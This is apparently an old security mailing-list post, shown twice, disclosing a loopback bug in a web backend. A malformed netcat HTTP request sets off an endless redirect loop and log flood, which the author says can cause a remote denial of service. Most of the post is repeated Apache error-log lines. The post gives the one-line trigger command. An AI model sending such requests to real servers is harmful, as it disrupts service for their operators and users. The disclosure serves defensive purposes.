Hi *,
I try to send an HTTP request using netcat, backhand redirect the
request loopback using local IP
[root@pagaruyung root]# echo -e 'GET /index.htmlHTTP/1.0 \n\n'| nc -v
10.32.10.29 80
kudus [10.32.10.29] 80 (http) open
-----------------------------------------------------------------------
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
this can lead to remote Denial of Service, to stop this looping the
backhand must be restarted (with delay > 1 second).
Cheers,
Indra Kusuma
--
,''`. Indra{@,.}Kusuma.OR.ID -> [Security - Debian/GNU Linux - IPv6]
: :' : 0x4D829E49 - 187D 8C98 FB76 E1A8 5558 853A 4795 4FC1 4D82 9E49
`. `'
`-
I try to send an HTTP request using netcat, backhand redirect the
request loopback using local IP
[root@pagaruyung root]# echo -e 'GET /index.htmlHTTP/1.0 \n\n'| nc -v
10.32.10.29 80
kudus [10.32.10.29] 80 (http) open
-----------------------------------------------------------------------
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:35 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
[Fri Oct 18 03:50:36 2002] [error] [client 10.32.10.29] File does not
exist: /www/web/index.htmlHTTP/1.0
this can lead to remote Denial of Service, to stop this looping the
backhand must be restarted (with delay > 1 second).
Cheers,
Indra Kusuma
--
,''`. Indra{@,.}Kusuma.OR.ID -> [Security - Debian/GNU Linux - IPv6]
: :' : 0x4D829E49 - 187D 8C98 FB76 E1A8 5558 853A 4795 4FC1 4D82 9E49
`. `'
`-